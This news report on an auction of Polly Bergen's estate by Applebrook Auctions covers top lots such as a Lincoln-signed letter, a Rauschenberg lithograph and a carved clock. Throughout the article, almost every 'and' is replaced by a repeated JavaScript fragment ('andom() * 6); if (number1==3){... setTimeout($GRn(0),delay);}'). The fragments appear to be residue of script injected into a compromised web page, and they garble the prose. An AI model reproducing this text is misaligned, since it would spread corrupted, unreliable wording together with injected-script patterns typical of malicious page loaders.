By: W.A. Demers

NEW MILFORD, CONN. — Applebrook Auctions presented a sale comprising about 75 percent of the estate of screen actress andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and entertainer Polly Bergen on December 5 at the firm’s new auction location, The Maxx, a club just a two-minute walk down the street from its gallery.

Bergen (born Nellie Paulina Burgin on July 14, 1930) was an American actress, singer, television host, writer andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and entrepreneur. She died September 20, 2014, of natural causes at her home in Southbury, Conn., surrounded by family andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and close friends. Borenstein said that the consignment of her estate to his firm came about through “mutual friends.” The rest of the sale included additions from a clock collector andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other local estates.

During preview on the day before the sale, Borenstein was in his office readying for the auction. “The Internet is going crazy,” he said. Inside the gallery, however, things were much more sedate, with a few visitors examining the fine art, decorative accessories andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and loads of estate gold andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and costume jewelry that would be on offer.

As it turned out, the sale’s top two lots were not once owned by Bergen. An 1863 thank you letter from US President Abraham Lincoln wore the auction’s top hat, bringing $12,650 from the trade on the phone, battling with two online bidders. Of the lot’s modest $400/800 presale estimate in relation to its selling price, Borenstein quipped to the crowd, “If you have a letter by Abraham Lincoln, it’s best you find someone else to appraise it, but bring it to me to sell.” On a more serious note, the auctioneer explained that the lower estimate was predicated on the fact that the letter had been written by Lincoln’s secretary andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Lincoln had only signed it. The letter had come from the estate of J. Sinclair Armstrong, a Republican in the Eisenhower administration who served as chairman of the Securities andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Exchange Commission from May 1955 to June 1957.

The second highest selling lot also did not come from the Bergen estate. It was a rare signed Robert Rauschenberg litho titled “Signs,” which carried a $4/6,000 estimate andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and realized $6,325, going to the trade.

 As for the Bergen material, Borenstein said, “There was a lot of interest because of who it belonged to. The crowd [in the hall] was good, the place was filled. There were about 800 registered on two online platforms.

The standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andout Bergen lot was a handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andsomely carved Grinling Gibbons Father Time clock, which sold for $5,750. During preview, it was displayed along with a photo of Bergen standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding next to it, probably in her Los Angeles, home, according to the auctioneer. “An ex-computer guy bought it for himself,” said Borenstein.

A Chinese sterling andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and enamel carriage brought a strong, twice-the-high-estimate price of $4,600, despite missing one of the horses, while a Willem De Kooning Paris Review signed andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and number litho drew $4,313.

Much of the Bergen material comprised estate andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and costume jewelry, with an exquisite David Webb 18K gold andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and diamond necklace going out at $3,450.

Fetching a surprising $2,990 was a pair of French-style chinoiserie end tables that had been discovered in the attic above the garage.

Works by the “Line King,” Al Hirschfeld (1903–2003), the American caricaturist best known for his black andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and white portraits of celebrities andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Broadway stars, figured in the sale. One titled “Creative Management Associates,” 1972, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and picturing the firm’s clients Bergen, Yul Brynner, Roberta Flack, David Bowie andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Mick Jagger, sold for $2,875.

Prices reported include the buyer’s premium. Applebrook will present Part II of the Bergen estate in January, date to be announced. For information, 203-740-0944 or www.applebrookauctions.com.